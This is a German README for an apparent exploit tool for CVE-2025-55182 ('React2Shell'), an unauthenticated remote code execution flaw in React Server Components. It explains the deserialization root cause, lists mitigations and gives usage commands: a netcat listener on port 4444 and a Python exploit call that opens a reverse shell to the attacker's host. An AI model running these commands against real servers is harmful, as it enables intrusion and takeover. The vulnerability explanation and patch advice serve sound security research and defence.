CVE-2025-55182 - React2Shell (Unauthentifizierte RCE in React Server Components)

CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische unauthentifizierte Remote Code Execution (RCE)-Schwachstelle, die React Server Components-Pakete betrifft (Versionen 19.0, 19.1.0, 19.1.1 und 19.2.0).

Diese Schwachstelle könnte Angreifern ermöglichen, auf anfälligen Servern eine beliebige Codeausführung zu erreichen, und zwar über eine einzelne präparierte HTTP-Anfrage, ohne dass eine Authentifizierung erforderlich ist.

Überblick

React Server Components verwenden das Flight-Protokoll, um zwischen Client und Server ausgetauschte Komponentendaten zu serialisieren und zu deserialisieren.

Eine unzureichende Validierung während dieses Deserialisierungsprozesses könnte es speziell präparierten Payloads ermöglichen, interne Objektstrukturen zu manipulieren und gefährliche JavaScript-Ausführungsprimitive zu erreichen.

Ursache

Die Schwachstelle hat ihren Ursprung in unzureichender Validierung während der Deserialisierung von React Server Components (RSC) Flight-Protocol-Payloads.

Speziell präparierte Payloads können:

• interne Objektstrukturen manipulieren
• die JavaScript-Prototype-Kette durchlaufen
• auf gefährliche JavaScript-Konstruktoren zugreifen
• beliebige Codeausführung auf dem Server erreichen

Funktionsweise

1. Der Exploit sendet eine speziell präparierte multipart/form-data-Anfrage
2. Der Server interpretiert die Anfrage als React Flight-Payload
3. Der bösartige Chunk wird während der Deserialisierung verarbeitet
4. Der Payload:
   • den internen Ausführungsablauf manipuliert
   • gefährliche JavaScript-Ausführungsprimitive erreicht
   • beliebigen Code ausführt
5. Der Angreifer erlangt Remote-Codeausführung auf dem Zielserver

🚀 Verwendung

Starten Sie einen Listener auf Ihrem Rechner:

nc -lvnp 4444

Führen Sie den Exploit aus:

python3 CVE-2025-55182-React2Shell.py <TARGET_URL> <LHOST>
python3 CVE-2025-55182-React2Shell.py http://192.168.56.101:3000/ 192.168.56.100

Voraussetzungen

• Verwundbare React / Next.js-Versionen
• Serverseitige React Server Components aktiviert
• Erreichbarer RSC-Endpunkt

Abhilfe

Um diese Schwachstelle zu entschärfen:

• Aktualisieren Sie React auf die neueste verfügbare gepatchte Version
• Wenden Sie verfügbare Framework-Patches an
• Überwachen und blockieren Sie verdächtige RSC-Anfragen

Referenzen

• OffSec – Analyse der Ausnutzung von CVE-2025-55182

• Microsoft Security – Verteidigung gegen React2Shell

• React Security Advisory (Offizielle Offenlegung)

Haftungsausschluss

Dieses Projekt wird ausschließlich bereitgestellt für:

• Sicherheitsforschung
• Bildungszwecke
• Autorisierte Sicherheitsbewertungen und Penetrationstests

Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Material verursacht werden. Die Nutzer sind allein dafür verantwortlich, alle geltenden Gesetze und Vorschriften einzuhalten.